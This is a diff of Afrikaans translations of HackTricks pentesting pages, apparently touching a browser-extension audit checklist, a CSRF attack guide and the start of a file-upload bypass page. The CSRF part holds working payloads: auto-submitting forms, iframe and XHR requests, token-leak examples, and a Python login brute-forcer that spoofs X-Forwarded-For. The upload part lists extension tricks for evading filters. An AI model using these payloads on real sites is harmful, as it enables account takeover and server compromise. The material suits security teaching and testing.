### Gebruik 'n Lêerargivaris of Ontpakkingsprogram
|
||||
|
||||
Gaan na die Chrome Web Store en laai die uitbreiding af. Die lêer sal 'n `.crx`-uitbreiding hê. Verander die lêeruitbreiding vanaf `.crx` na `.zip`. Gebruik enige lêerargivaris (soos WinRAR, 7-Zip, ens.) om die inhoud van die ZIP-lêer uit te pak.
|
||||
Gaan na die Chrome Web Store en laai die uitbreiding af. Die lêer sal 'n `.crx`-uitbreiding hê. Verander die lêeruitbreiding van `.crx` na `.zip`. Gebruik enige lêerargivaris (soos WinRAR, 7-Zip, ens.) om die inhoud van die ZIP-lêer uit te pak.
|
||||
|
||||
### Gebruik Ontwikkelaarsmodus in Chrome
|
||||
|
||||
|
@ -543,21 +543,21 @@ Maak Chrome oop en gaan na `chrome://extensions/`. Skakel "Ontwikkelaarsmodus" i
|
|||
|
||||
## Sekuriteitsouditkontrolelys
|
||||
|
||||
Alhoewel Blaaieruitbreidings 'n **beperkte aanvalsvlak** het, mag sommige van hulle **kwesbaarhede** of **potensiële verhardingsverbeterings** bevat. Die volgende is die mees algemene:
|
||||
Selfs al het Blaaieruitbreidings 'n **beperkte aanvalsvlak**, mag sommige van hulle **kwesbaarhede** of **potensiële verhardingsverbeterings** bevat. Die volgende is die mees algemene:
|
||||
|
||||
* [ ] **Beperk** soveel as moontlik die gevraagde **`permissions`**
|
||||
* [ ] **Beperk** soveel as moontlik die **`host_permissions`**
|
||||
* [ ] **Beperk** soveel as moontlik aangevraagde **`permissions`**
|
||||
* [ ] **Beperk** soveel as moontlik **`host_permissions`**
|
||||
* [ ] Gebruik 'n **sterk** **`content_security_policy`**
|
||||
* [ ] **Beperk** soveel as moontlik die **`externally_connectable`**, indien geen benodig word nie en moontlik is, los dit nie standaard nie, spesifiseer **`{}`**
|
||||
* [ ] As 'n **URL kwesbaar vir XSS of oorneembaarheid** hier genoem word, sal 'n aanvaller in staat wees om **boodskappe direk na die agtergrondskripte te stuur**. Baie kragtige omseiling.
|
||||
* [ ] **Beperk** soveel as moontlik die **`externally_connectable`**, indien geen benodig word nie en moontlik, los dit nie standaard nie, spesifiseer **`{}`**
|
||||
* [ ] As 'n **URL vatbaar vir XSS of oorneembaarheid** hier genoem word, sal 'n aanvaller in staat wees om **boodskappe direk na die agtergrondskripte te stuur**. Baie kragtige omseiling.
|
||||
* [ ] **Beperk** soveel as moontlik die **`web_accessible_resources`**, selfs leeg indien moontlik.
|
||||
* [ ] As **`web_accessible_resources`** nie nul is nie, kyk vir [**ClickJacking**](browext-clickjacking.md)
|
||||
* [ ] Indien enige **kommunikasie** plaasvind vanaf die **uitbreiding** na die **webbladsy**, [**kyk vir XSS**](browext-xss-example.md) **kwesbaarhede** wat veroorsaak word deur die kommunikasie.
|
||||
* [ ] Indien Post Messages gebruik word, kyk vir [**Post Message kwesbaarhede**](../postmessage-vulnerabilities/)**.**
|
||||
* [ ] As die **Inhoudskrip toegang tot DOM-detail** het, kyk dat hulle nie 'n XSS inbring nie as hulle deur die web **gewysig** word
|
||||
* [ ] Maak 'n spesiale klem daarop as hierdie kommunikasie ook betrokke is by die **Inhoudskrip -> Agtergrondskripskommunikasie**
|
||||
* **Sensitiewe inligting moet nie binne die Blaaieruitbreiding se kode nie** gestoor word
|
||||
* **Sensitiewe inligting moet nie binne die Blaaieruitbreiding se geheue nie** gestoor word
|
||||
* **Sensitiewe inligting moet nie binne die Blaaieruitbreiding se kode nie** gestoor word nie
|
||||
* **Sensitiewe inligting moet nie binne die Blaaieruitbreiding se geheue nie** gestoor word nie
|
||||
|
||||
## Gereedskap
|
||||
|
||||
|
@ -566,10 +566,10 @@ Alhoewel Blaaieruitbreidings 'n **beperkte aanvalsvlak** het, mag sommige van hu
|
|||
* Haal enige Chrome-uitbreiding van 'n voorsiene Chrome-webwerf skakel af.
|
||||
* [**manifest.json**](https://developer.chrome.com/extensions/manifest) **kyker**: vertoon eenvoudig 'n JSON-verfraaide weergawe van die uitbreiding se manifest.
|
||||
* **Vingerafdrukontleding**: Opstel van [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) en outomatiese generering van Chrome-uitbreidingsvingerafdruk-JavaScript.
|
||||
* **Potensiële Clickjacking-ontleding**: Opstel van uitbreidings-HTML-bladsye met die [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) rigtingaanduiging. Hierdie is potensieel vatbaar vir clickjacking afhangende van die doel van die bladsye.
|
||||
* **Toestemmingwaarskuwing(s) kyker**: wat 'n lys van al die Chrome-toestemmingskennisgewings wys wat vertoon sal word wanneer 'n gebruiker probeer om die uitbreiding te installeer.
|
||||
* **Gevaarlike Funksie(s)**: wys die plek van gevaarlike funksies wat potensieel deur 'n aanvaller uitgebuit kan word (bv. funksies soos innerHTML, chrome.tabs.executeScript).
|
||||
* **Ingangspunt(e)**: wys waar die uitbreiding gebruiker/eksterne insette aanvaar. Dit is nuttig om 'n begrip van 'n uitbreiding se oppervlakte te kry en te soek na potensiële punte om kwaadwillig saamgestelde data na die uitbreiding te stuur.
|
||||
* **Potensiële Clickjacking-analise**: Opstel van uitbreidings-HTML-bladsye met die [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) rigtingaanduiding. Hierdie is potensieel vatbaar vir clickjacking, afhangende van die doel van die bladsye.
|
||||
* **Toestemmingwaarskuwing(s) kyker**: wat 'n lys van al die Chrome-toestemming-promptwaarskuwings wys wat vertoon sal word wanneer 'n gebruiker probeer om die uitbreiding te installeer.
|
||||
* **Gevaarlike Funksie(s)**: wys die ligging van gevaarlike funksies wat potensieel deur 'n aanvaller uitgebuit kan word (bv. funksies soos innerHTML, chrome.tabs.executeScript).
|
||||
* **Ingangspunt(e)**: wys waar die uitbreiding gebruiker/eksterne insette aanvaar. Dit is nuttig om 'n begrip van 'n uitbreiding se oppervlakte te kry en potensiële punte te soek om kwaadwillig saamgestelde data na die uitbreiding te stuur.
|
||||
* Beide die Gevaarlike Funksie(s) en Ingangspunt(e) skandeerders het die volgende vir hul gegenereerde waarskuwings:
|
||||
* Relevant kodefragment en lyn wat die waarskuwing veroorsaak het.
|
||||
* Beskrywing van die probleem.
|
||||
|
@ -578,17 +578,17 @@ Alhoewel Blaaieruitbreidings 'n **beperkte aanvalsvlak** het, mag sommige van hu
|
|||
* Die volledige Chrome-uitbreidings-URI van die gewaarskuwde lêer.
|
||||
* Die tipe lêer wat dit is, soos 'n Agtergrondbladsy-skrip, Inhoudskrip, Blaaieraksie, ens.
|
||||
* As die kwesbare lyn in 'n JavaScript-lêer is, die paaie van al die bladsye waar dit ingesluit is, sowel as hierdie bladsye se tipe, en [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) status.
|
||||
* **Inhoudsekuriteitsbeleid (CSP) ontleder en omseilingskontroleerder**: Dit sal swakhede in jou uitbreiding se CSP aanwys en ook enige potensiële maniere belig wat jou CSP omseil weens gewitlys gemaakde CDNs, ens.
|
||||
* **Bekende Kwesbare Biblioteke**: Dit gebruik [Retire.js](https://retirejs.github.io/retire.js/) om vir enige gebruik van bekende-kwesbare JavaScript-biblioteke te kyk.
|
||||
* **Inhoudsekuriteitsbeleid (CSP) ontleder en omseilingskontroleerder**: Dit sal swakhede in jou uitbreiding se CSP aanwys en ook enige potensiële maniere belig wat jou CSP omseil kan word as gevolg van gewitlys-CDN's, ens.
|
||||
* **Bekende Kwesbare Biblioteke**: Dit gebruik [Retire.js](https://retirejs.github.io/retire.js/) om vir enige gebruik van bekende-kwesbare JavaScript-biblioteke te kontroleer.
|
||||
* Laai die uitbreiding en geformateerde weergawes af.
|
||||
* Laai die oorspronklike uitbreiding af.
|
||||
* Laai 'n verfraaide weergawe van die uitbreiding af (outomaties verfraaide HTML en JavaScript).
|
||||
* Outomatiese kaching van skandeerresultate, die uitvoer van 'n uitbreidingskandering sal 'n goeie tyd neem die eerste keer wat jy dit hardloop. Die tweede keer, mits die uitbreiding nie opgedateer is nie, sal bykans onmiddellik wees weens die resultate wat gekas is.
|
||||
* Skakelbare Rapport-URL's, maak maklik iemand anders aan 'n uitbreidingsverslag wat deur tarnish gegenereer is.
|
||||
* Outomatiese kaching van skandeerresultate, die uitvoer van 'n uitbreidingskandering sal die eerste keer wat jy dit hardloop 'n goeie tyd neem. Die tweede keer, mits die uitbreiding nie opgedateer is nie, sal bykans onmiddellik wees as gevolg van die resultate wat gekas is.
|
||||
* Skakelbare Rapport-URL's, maak dit maklik om iemand anders aan 'n uitbreidingsverslag wat deur tarnish gegenereer is, te skakel.
|
||||
|
||||
### [Neto](https://github.com/elevenpaths/neto)
|
||||
|
||||
Projek Neto is 'n Python 3-pakket wat ontwerp is om die analise en ontrafeling van verskuilde kenmerke van blaaierinvoegings en -uitbreidings vir bekende blaaier soos Firefox en Chrome te ontleed en te outomatiseer. Dit ontpak die gepakde lêers om hierdie kenmerke uit relevante bronne in 'n uitbreiding soos `manifest.json`, lokalisasiegids of Javascript- en HTML-bronlêers te onttrek.
|
||||
Projek Neto is 'n Python 3-pakket wat ontwerp is om die analise en ontrafeling van verskuilde kenmerke van blaaierinvoegings en -uitbreidings vir bekende blaaier soos Firefox en Chrome te ontleed en te ontrafel. Dit outomatiseer die proses om die gepakde lêers te ontzip om hierdie kenmerke uit relevante bronne in 'n uitbreiding soos `manifest.json`, lokalisasiegids of Javascript- en HTML-bronlêers te onttrek.
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
@ -605,11 +605,13 @@ Projek Neto is 'n Python 3-pakket wat ontwerp is om die analise en ontrafeling v
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -31,7 +31,7 @@ Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke plat
|
|||
|
||||
## Kruiswebversoekvergiffenis (CSRF) Verduidelik
|
||||
|
||||
**Kruiswebversoekvergiffenis (CSRF)** is 'n tipe sekuriteitskwesbaarheid wat in webtoepassings gevind word. Dit stel aanvallers in staat om aksies namens onvermoedende gebruikers uit te voer deur hul geoutentiseerde sessies te benut. Die aanval word uitgevoer wanneer 'n gebruiker, wat by 'n slagoffer se platform aangemeld is, 'n skadelike webwerf besoek. Hierdie webwerf aktiveer dan versoek aan die slagoffer se rekening deur metodes soos die uitvoer van JavaScript, die indien van vorms, of die ophaling van beelde.
|
||||
**Kruiswebversoekvergiffenis (CSRF)** is 'n tipe sekuriteitskwesbaarheid wat in webtoepassings gevind word. Dit stel aanvallers in staat om aksies namens argeloos gebruikers uit te voer deur hul geoutentiseerde sessies te benut. Die aanval word uitgevoer wanneer 'n gebruiker, wat by 'n slagoffer se platform aangemeld is, 'n skadelike webwerf besoek. Hierdie webwerf aktiveer dan versoek aan die slagoffer se rekening deur metodes soos die uitvoer van JavaScript, die indien van vorms, of die oproep van afbeeldings.
|
||||
|
||||
### Voorvereistes vir 'n CSRF-aanval
|
||||
|
||||
|
@ -45,18 +45,18 @@ Om 'n CSRF-kwesbaarheid te benut, moet verskeie toestande voldoen word:
|
|||
|
||||
Jy kan die versoek in Burp **vasvang** en CSRF-beskerming toets en om vanaf die blaaier te toets, kan jy op **Kopieer as fetch** klik en die versoek toets:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Verdedig teen CSRF
|
||||
### Teen CSRF Verdedig
|
||||
|
||||
Verskeie teenmaatreëls kan geïmplementeer word om teen CSRF-aanvalle te beskerm:
|
||||
|
||||
* [**SelfdeSite-koekies**](hacking-with-cookies/#samesite): Hierdie eienskap voorkom dat die blaaier koekies saam met kruiswebversoeke stuur. [Meer oor SelfdeSite-koekies](hacking-with-cookies/#samesite).
|
||||
* [**Kruis-oorsprong hulpbrondeling**](cors-bypass.md): Die CORS-beleid van die slagoffersite kan die uitvoerbaarheid van die aanval beïnvloed, veral as die aanval vereis dat die respons van die slagoffersite gelees word. [Leer oor CORS-omleiding](cors-bypass.md).
|
||||
* **Gebruikerverifikasie**: Die versoek vir die gebruiker se wagwoord of die oplos van 'n captcha kan die gebruiker se bedoeling bevestig.
|
||||
* **Kontroleer Verwysers of Oorsprongkoppe**: Die validering van hierdie koppe kan help om te verseker dat versoek van betroubare bronne afkomstig is. Tog kan sorgvuldige samestelling van URL's swak geïmplementeerde kontroles omseil, soos:
|
||||
* Gebruik van `http://mal.net?orig=http://example.com` (URL eindig met die betroubare URL)
|
||||
* Gebruik van `http://example.com.mal.net` (URL begin met die betroubare URL)
|
||||
* **Kontroleer Verwysers of Oorsprongkoppe**: Die validering van hierdie koppe kan help om te verseker dat versoek van vertroude bronne afkomstig is. Tog kan sorgvuldige samestelling van URL's swak geïmplementeerde kontroles omseil, soos:
|
||||
* Gebruik van `http://mal.net?orig=http://example.com` (URL eindig met die vertroude URL)
|
||||
* Gebruik van `http://example.com.mal.net` (URL begin met die vertroude URL)
|
||||
* **Wysiging van Parametername**: Die wysiging van die name van parameters in POST- of GET-versoeke kan help om outomatiese aanvalle te voorkom.
|
||||
* **CSRF-tokens**: Die inkorporering van 'n unieke CSRF-token in elke sessie en die vereiste van hierdie token in volgende versoek kan die risiko van CSRF aansienlik verminder. Die doeltreffendheid van die token kan versterk word deur CORS af te dwing.
|
||||
|
||||
|
@ -66,27 +66,27 @@ Die begrip en implementering van hierdie verdedigings is noodsaaklik vir die han
|
|||
|
||||
### Vanaf POST na GET
|
||||
|
||||
Miskien is die vorm wat jy wil misbruik voorberei om 'n **POST-versoek met 'n CSRF-token te stuur**, maar, jy moet **kontroleer** of 'n **GET** ook **geldig** is en of wanneer jy 'n GET-versoek stuur die **CSRF-token steeds gevalideer word**.
|
||||
Miskien is die vorm wat jy wil misbruik voorberei om 'n **POST-versoek met 'n CSRF-token te stuur maar**, jy moet **kontroleer** of 'n **GET** ook **geldig** is en of wanneer jy 'n GET-versoek stuur die **CSRF-token steeds gevalideer word**.
|
||||
|
||||
### Gebrek aan token
|
||||
|
||||
Toepassings mag 'n meganisme implementeer om **tokens te valideer** wanneer hulle teenwoordig is. 'n Kwesbaarheid ontstaan egter as die validasie heeltemal omseil word wanneer die token afwesig is. Aanvallers kan dit uitbuit deur die parameter wat die token dra, te **verwyder**, nie net sy waarde nie. Dit stel hulle in staat om die validasieproses te omseil en 'n Kruiswebversoekvergiffenis (CSRF) aanval doeltreffend uit te voer.
|
||||
Toepassings mag 'n meganisme implementeer om **tokens te valideer** wanneer hulle teenwoordig is. 'n Kwesbaarheid ontstaan egter as die validasie heeltemal omseil word wanneer die token afwesig is. Aanvallers kan dit benut deur die parameter wat die token dra, nie net sy waarde nie, te verwyder. Dit stel hulle in staat om die validasieproses te omseil en 'n Kruiswebversoekvergiffenis (CSRF) aanval doeltreffend uit te voer.
|
||||
|
||||
### CSRF-token is nie aan die gebruikersessie gekoppel nie
|
||||
|
||||
Toepassings wat nie CSRF-tokens aan gebruikersessies koppel nie, bied 'n aansienlike **sekuriteitsrisiko**. Hierdie stelsels verifieer tokens teen 'n **globale poel** eerder as om te verseker dat elke token aan die inisieerdersessie gebind is.
|
||||
|
||||
So misbruik aanvallers dit:
|
||||
So benut aanvallers dit:
|
||||
|
||||
1. **Verifieer** met hul eie rekening.
|
||||
2. **Verkry 'n geldige CSRF-token** uit die globale poel.
|
||||
2. **Verkry 'n geldige CSRF-token** van die globale poel.
|
||||
3. **Gebruik hierdie token** in 'n CSRF-aanval teen 'n slagoffer.
|
||||
|
||||
Hierdie kwesbaarheid stel aanvallers in staat om ongemagtigde versoek op die slagoffer se naam te maak deur die toepassing se **onvoldoende tokenvalideringsmeganisme** uit te buit.
|
||||
Hierdie kwesbaarheid stel aanvallers in staat om ongemagtigde versoek op die slagoffer se naam te maak deur die toepassing se **onvoldoende tokenvalidasiemeganisme** te benut.
|
||||
|
||||
### Metode omseiling
|
||||
|
||||
As die versoek 'n "**vreemde**" **metode** gebruik, kontroleer of die **metodeoorheersingsfunksionaliteit** werk. Byvoorbeeld, as dit 'n **PUT**-metode gebruik, kan jy probeer om 'n POST-metode te gebruik en te **stuur**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
As die versoek 'n "**vreemde**" **metode** gebruik, kontroleer of die **metodeoorheersingsfunksionaliteit** werk. Byvoorbeeld, as dit 'n **PUT**-metode gebruik, kan jy probeer om 'n POST-metode te gebruik en **stuur**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
|
||||
Dit kan ook werk deur die **\_metodeparameter binne 'n POST-versoek te stuur** of deur die **koppe** te gebruik:
|
||||
|
||||
|
@ -103,9 +103,9 @@ As die versoek 'n **aangepaste kop** met 'n **token** by die versoek voeg as **C
|
|||
|
||||
### CSRF-token word deur 'n koekie geverifieer
|
||||
|
||||
Toepassings kan CSRF-beskerming implementeer deur die token in beide 'n koekie en 'n versoekparameter te dupliseer of deur 'n CSRF-koekie in te stel en te verifieer of die token wat in die agtergrond gestuur word ooreenstem met die koekie. Die toepassing valideer versoek deur te kyk of die token in die versoekparameter ooreenstem met die waarde in die koekie.
|
||||
Toepassings kan CSRF-beskerming implementeer deur die token in beide 'n koekie en 'n versoekparameter te dupliseer of deur 'n CSRF-koekie in te stel en te verifieer of die token wat in die agtergrond gestuur is ooreenstem met die koekie. Die toepassing valideer versoek deur te kyk of die token in die versoekparameter ooreenstem met die waarde in die koekie.
|
||||
|
||||
Hierdie metode is egter vatbaar vir CSRF-aanvalle as die webwerf foute het wat 'n aanvaller toelaat om 'n CSRF-koekie in die slagoffer se blaaier te stel, soos 'n CRLF-kwesbaarheid. Die aanvaller kan dit uitbuit deur 'n misleidende beeld te laai wat die koekie stel, gevolg deur die inisieer van die CSRF-aanval.
|
||||
Hierdie metode is egter vatbaar vir CSRF-aanvalle as die webwerf foute het wat 'n aanvaller toelaat om 'n CSRF-koekie in die slagoffer se blaaier te stel, soos 'n CRLF-kwesbaarheid. Die aanvaller kan dit benut deur 'n misleidende beeld te laai wat die koekie stel, gevolg deur die inisieer van die CSRF-aanval.
|
||||
|
||||
Hieronder is 'n voorbeeld van hoe 'n aanval gestruktureer kan word:
|
||||
```html
|
||||
|
@ -124,7 +124,7 @@ Hieronder is 'n voorbeeld van hoe 'n aanval gestruktureer kan word:
|
|||
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Let wel dat as die **csrf-token verband hou met die sessie-cookie, sal hierdie aanval nie werk nie** omdat jy die slagoffer jou sessie moet instel, en dus sal jy jouself aanval.
|
||||
Let wel dat as die **csrf-token verband hou met die sessie-cookie, sal hierdie aanval nie werk nie** omdat jy die slagoffer jou sessie moet stel, en dus sal jy jouself aanval.
|
||||
{% endhint %}
|
||||
|
||||
### Inhouds-Tipe verandering
|
||||
|
@ -155,18 +155,18 @@ form.submit();
|
|||
Wanneer daar gepoog word om JSON data via 'n POST versoek te stuur, is dit nie direk moontlik om die `Content-Type: application/json` in 'n HTML vorm te gebruik nie. Op soortgelyke wyse, die gebruik van `XMLHttpRequest` om hierdie inhoudstipe te stuur, inisieer 'n preflight versoek. Nietemin, daar is strategieë om moontlik hierdie beperking te omseil en te toets of die bediener die JSON data verwerk ongeag die Content-Type:
|
||||
|
||||
1. **Gebruik Alternatiewe Inhoudstipes**: Gebruik `Content-Type: text/plain` of `Content-Type: application/x-www-form-urlencoded` deur `enctype="text/plain"` in die vorm in te stel. Hierdie benadering toets of die agterkant die data gebruik ongeag die Content-Type.
|
||||
2. **Wysig Inhoudstipe**: Om 'n preflight versoek te vermy terwyl die bediener verseker dat die inhoud as JSON herken word, kan jy die data stuur met `Content-Type: text/plain; application/json`. Dit veroorsaak nie 'n preflight versoek nie, maar kan korrek deur die bediener verwerk word as dit ingestel is om `application/json` te aanvaar.
|
||||
2. **Wysig Inhoudstipe**: Om 'n preflight versoek te vermy terwyl die bediener verseker dat die inhoud as JSON herken word, kan jy die data stuur met `Content-Type: text/plain; application/json`. Dit inisieer nie 'n preflight versoek nie, maar kan korrek deur die bediener verwerk word as dit ingestel is om `application/json` te aanvaar.
|
||||
3. **SWF Flash-lêer Gebruik**: 'n Minder algemene maar uitvoerbare metode behels die gebruik van 'n SWF flash-lêer om sulke beperkings te omseil. Vir 'n diepgaande begrip van hierdie tegniek, verwys na [hierdie pos](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
|
||||
### Verwysings / Oorsprong omseiling
|
||||
|
||||
**Vermy Referrer-kop**
|
||||
**Vermy Verwysingskop**
|
||||
|
||||
Toepassings kan die 'Referer' kop net valideer as dit teenwoordig is. Om te voorkom dat 'n webblaaier hierdie kop stuur, kan die volgende HTML meta-etiket gebruik word:
|
||||
Aansoeke kan die 'Referer' kop net valideer as dit teenwoordig is. Om te voorkom dat 'n webblaaier hierdie kop stuur, kan die volgende HTML meta-etiket gebruik word:
|
||||
```xml
|
||||
<meta name="referrer" content="never">
|
||||
```
|
||||
Dit verseker dat die 'Referer'-kop weglaat word, wat moontlik validasiekontroles in sommige aansoeke kan omseil.
|
||||
Dit verseker dat die 'Verwysings' kop nie ingesluit word nie, wat moontlik validasie kontroles in sommige aansoeke kan omseil.
|
||||
|
||||
**Regexp omseilings**
|
||||
|
||||
|
@ -174,7 +174,7 @@ Dit verseker dat die 'Referer'-kop weglaat word, wat moontlik validasiekontroles
|
|||
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Om die domeinnaam van die bediener in die URL in te stel wat die Verwysingskoppeling binne die parameters gaan stuur, kan jy doen:
|
||||
Om die domeinnaam van die bediener in die URL in te stel wat die Verwysing binne die parameters gaan stuur, kan jy doen:
|
||||
```html
|
||||
<html>
|
||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||
|
@ -195,11 +195,11 @@ document.forms[0].submit();
|
|||
```
|
||||
### **HEAD metode omseil**
|
||||
|
||||
Die eerste deel van [**hierdie CTF skryfstuk**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) word verduidelik dat [Oak se bronkode](https://github.com/oakserver/oak/blob/main/router.ts#L281), 'n router is ingestel om **HEAD-versoeke as GET-versoeke te hanteer** sonder 'n responsliggaam - 'n algemene omweg wat nie uniek is aan Oak nie. In plaas van 'n spesifieke verwerker wat met HEAD-versoeke werk, word hulle eenvoudig **aan die GET-verwerker gegee, maar die program verwyder net die responsliggaam**.
|
||||
Die eerste deel van [**hierdie CTF skryfstuk**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) word verduidelik dat [Oak se bronkode](https://github.com/oakserver/oak/blob/main/router.ts#L281), 'n router is ingestel om **HEAD versoeke as GET versoeke te hanteer** sonder 'n responsliggaam - 'n algemene omweg wat nie uniek is aan Oak nie. In plaas van 'n spesifieke verwerker wat met HEAD versoeke werk, word hulle eenvoudig **aan die GET verwerker gegee, maar die program verwyder net die responsliggaam**.
|
||||
|
||||
Daarom, as 'n GET-versoek beperk word, kan jy net 'n HEAD-versoek stuur wat as 'n GET-versoek verwerk sal word.
|
||||
Daarom, as 'n GET versoek beperk word, kan jy net 'n HEAD versoek stuur wat as 'n GET versoek verwerk sal word.
|
||||
|
||||
## **Uitbuiting Voorbeelde**
|
||||
## **Uitbuitingsvoorbeelde**
|
||||
|
||||
### **Uitlek van CSRF-token**
|
||||
|
||||
|
@ -264,7 +264,7 @@ document.forms[0].submit(); //Way 3 to autosubmit
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### Vorm POST versoek deur middel van 'n iframe
|
||||
### Vorm POST-aanvraag deur middel van 'n iframe
|
||||
```html
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
|
@ -342,7 +342,7 @@ body += "--" + boundary + "--";
|
|||
//xhr.send(body);
|
||||
xhr.sendAsBinary(body);
|
||||
```
|
||||
### Vorm POST-aanvraag van binne 'n iframe
|
||||
### Vorm POST versoek van binne 'n iframe
|
||||
```html
|
||||
<--! expl.html -->
|
||||
|
||||
|
@ -525,7 +525,7 @@ room: username
|
|||
```
|
||||
## CSRF Aanmelding Brute Force
|
||||
|
||||
Die kode kan gebruik word om 'n aanmeldingsvorm te Brut Force met behulp van 'n CSRF-token (Dit maak ook gebruik van die kopteks X-Forwarded-For om te probeer om 'n moontlike IP-swartlys te omseil):
|
||||
Die kode kan gebruik word om 'n aanmeldingsvorm te Brut Force met behulp van 'n CSRF-token (Dit maak ook gebruik van die kop X-Forwarded-For om te probeer om 'n moontlike IP-swartlys te omseil):
|
||||
```python
|
||||
import request
|
||||
import re
|
||||
|
@ -594,7 +594,7 @@ Gaan in gesprek met inhoud wat die opwinding en uitdagings van hack bekyk
|
|||
Bly op hoogte van die snelveranderende hackwêreld deur werklikheidsnuus en insigte
|
||||
|
||||
**Nuutste Aankondigings**\
|
||||
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en belangrike platformopdaterings
|
||||
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en noodsaaklike platformopdaterings
|
||||
|
||||
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
|
@ -14,9 +14,9 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hakwerk loopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
As jy belangstel in 'n **hak loopbaan** en wil die onhakbare hak - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -33,13 +33,13 @@ Ander nuttige uitbreidings:
|
|||
* **Perl**: _.pl, .cgi_
|
||||
* **Erlang Yaws Web Server**: _.yaws_
|
||||
|
||||
### Omgang met lêeruitbreidingskontroles
|
||||
### Oorbrug lêeruitbreidingskontroles
|
||||
|
||||
1. As hulle dit toepas, **kontroleer** die **vorige uitbreidings.** Toets hulle ook met 'n paar **hoofletters**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Kontroleer **die byvoeging van 'n geldige uitbreiding voor** die uitvoeringsuitbreiding (gebruik ook vorige uitbreidings):_
|
||||
* _lêer.png.php_
|
||||
* _lêer.png.Php5_
|
||||
3. Probeer om **spesiale karakters aan die einde toe te voeg.** Jy kan Burp gebruik om al die **ascii** en **Unicode** karakters te **brute force.** (_Let daarop dat jy ook die **voorheen** genoemde **uitbreidings** kan probeer gebruik_)
|
||||
3. Probeer om **spesiale karakters aan die einde toe te voeg.** Jy kan Burp gebruik om al die **ascii** en **Unicode** karakters te **brute force.** (_Let daarop dat jy ook kan probeer om die **voorheen** genoemde **uitbreidings** te gebruik_)
|
||||
* _lêer.php%20_
|
||||
* _lêer.php%0a_
|
||||
* _lêer.php%00_
|
||||
|
@ -49,7 +49,7 @@ Ander nuttige uitbreidings:
|
|||
* _lêer._
|
||||
* _lêer.php...._
|
||||
* _lêer.pHp5...._
|
||||
